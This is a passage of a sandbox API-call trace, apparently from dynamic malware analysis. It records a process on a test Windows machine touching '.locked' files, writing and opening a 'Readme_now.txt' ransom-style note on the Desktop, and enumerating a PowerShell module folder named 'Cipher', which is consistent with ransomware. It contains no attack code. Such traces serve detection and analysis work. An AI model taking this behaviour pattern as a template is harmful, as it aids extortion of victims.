[7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.367] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0139.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi.locked"), fInfoLevelId=0x0, lpFileInformation=0x6997af0 | out: lpFileInformation=0x6997af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x164795c5, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x164795c5, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x164795c5, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x78e4)) returned 1 [0139.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0139.369] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", lpFilePart=0x0) returned 0x33 [0139.370] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0139.370] GetFileInformationByHandle (in: hFile=0x778, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0139.370] CloseHandle (hObject=0x778) returned 1 [0139.371] GetConsoleOutputCP () returned 0x1b5 [0139.372] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.372] GetConsoleOutputCP () returned 0x1b5 [0139.372] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.372] GetConsoleOutputCP () returned 0x1b5 [0139.373] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.373] GetConsoleOutputCP () returned 0x1b5 [0139.373] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.373] GetConsoleOutputCP () returned 0x1b5 [0139.374] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.374] GetConsoleOutputCP () returned 0x1b5 [0139.374] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.374] GetConsoleOutputCP () returned 0x1b5 [0139.374] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.374] GetConsoleOutputCP () returned 0x1b5 [0139.375] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.375] GetConsoleOutputCP () returned 0x1b5 [0139.375] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.375] GetConsoleOutputCP () returned 0x1b5 [0139.376] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.376] GetConsoleOutputCP () returned 0x1b5 [0139.376] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.376] GetConsoleOutputCP () returned 0x1b5 [0139.377] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.377] GetConsoleOutputCP () returned 0x1b5 [0139.377] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.377] GetConsoleOutputCP () returned 0x1b5 [0139.377] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.377] GetConsoleOutputCP () returned 0x1b5 [0139.378] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.378] GetConsoleOutputCP () returned 0x1b5 [0139.378] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.378] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0139.379] GetConsoleOutputCP () returned 0x1b5 [0139.379] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0139.379] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.380] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69bf00c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69bf00c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0139.380] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.381] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0139.385] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.385] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.409] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aebac, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0139.419] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb40, nSize=0x100 | out: lpBuffer="\x03") returned 0x0 [0139.572] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee44*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee44*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.572] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeda4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeda4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.572] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee34*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee34*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.619] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\readme_now.txt")) returned 0xffffffff [0139.764] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", nBufferLength=0x105, lpBuffer=0x99ae640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", lpFilePart=0x0) returned 0x2c [0139.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb34) returned 1 [0139.764] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\readme_now.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0139.771] GetFileType (hFile=0x778) returned 0x1 [0139.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb30) returned 1 [0139.771] GetFileType (hFile=0x778) returned 0x1 [0139.771] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99aec60 | out: lpConsoleScreenBufferInfo=0x99aec60) returned 1 [0139.787] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb44*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb44*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.787] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.787] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb34*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb34*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.794] WriteFile (in: hFile=0x778, lpBuffer=0x69f3958*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x99aec78, lpOverlapped=0x0 | out: lpBuffer=0x69f3958*, lpNumberOfBytesWritten=0x99aec78*=0xfe, lpOverlapped=0x0) returned 1 [0139.795] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aef10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.795] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.796] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb74*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.796] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aebd8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aebd8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.797] CloseHandle (hObject=0x778) returned 1 [0139.798] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aef10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.798] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.799] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aebac, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.807] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aef84*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef84*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.808] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeee4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeee4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.808] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.902] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aea9c, nSize=0x100 | out: lpBuffer="\xeb80\x99a") returned 0x0 [0139.902] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\readme_now.txt")) returned 0x20 [0139.902] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", nBufferLength=0x105, lpBuffer=0x99ae734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", lpFilePart=0x0) returned 0x2c [0139.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb94) returned 1 [0139.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\readme_now.txt"), fInfoLevelId=0x0, lpFileInformation=0x99aec10 | out: lpFileInformation=0x99aec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1687f5e0, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1687f5e0, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x168cb9b5, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xfe)) returned 1 [0139.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb90) returned 1 [0139.903] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", nBufferLength=0x105, lpBuffer=0x99ae6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", lpFilePart=0x0) returned 0x2c [0139.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb5c) returned 1 [0139.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\readme_now.txt"), fInfoLevelId=0x0, lpFileInformation=0x99aebd8 | out: lpFileInformation=0x99aebd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1687f5e0, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1687f5e0, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x168cb9b5, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xfe)) returned 1 [0139.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb58) returned 1 [0139.903] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0139.905] LocalAlloc (uFlags=0x0, uBytes=0x5a) returned 0x8ebfa88 [0139.906] LocalAlloc (uFlags=0x0, uBytes=0x3c) returned 0x8c53b88 [0139.906] ShellExecuteExW (in: pExecInfo=0x6a0e944*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", lpParameters=0x0, lpDirectory="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x6a0e944*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Readme_now.txt", lpParameters=0x0, lpDirectory="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x8d8)) returned 1 [0141.193] LocalFree (hMem=0x8ebfa88) returned 0x0 [0141.193] LocalFree (hMem=0x8c53b88) returned 0x0 [0141.193] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aef10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.194] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aebac, nSize=0x100 | out: lpBuffer="览湙览湙览湙চ玭\r") returned 0x0 [0141.194] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aef84*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef84*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.194] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeee4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeee4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.194] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.203] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae960) returned 1 [0141.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae468, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", nBufferLength=0x105, lpBuffer=0x99ae43c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", lpFilePart=0x0) returned 0x41 [0141.204] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*", lpFindFileData=0x99ae688 | out: lpFindFileData=0x99ae688) returned 0x8c6ee30 [0141.204] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae6b8 | out: lpFindFileData=0x99ae6b8) returned 1 [0141.204] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae6b8 | out: lpFindFileData=0x99ae6b8) returned 1 [0141.204] FindClose (in: hFindFile=0x8c6ee30 | out: hFindFile=0x8c6ee30) returned 1 [0141.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae94c) returned 1 [0141.205] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae464, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae8a4) returned 1 [0141.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", nBufferLength=0x105, lpBuffer=0x99ae380, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", lpFilePart=0x0) returned 0x41 [0141.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*", lpFindFileData=0x99ae5cc | out: lpFindFileData=0x99ae5cc) returned 0x8c6ee30 [0141.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae8a4) returned 1 [0141.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.205] 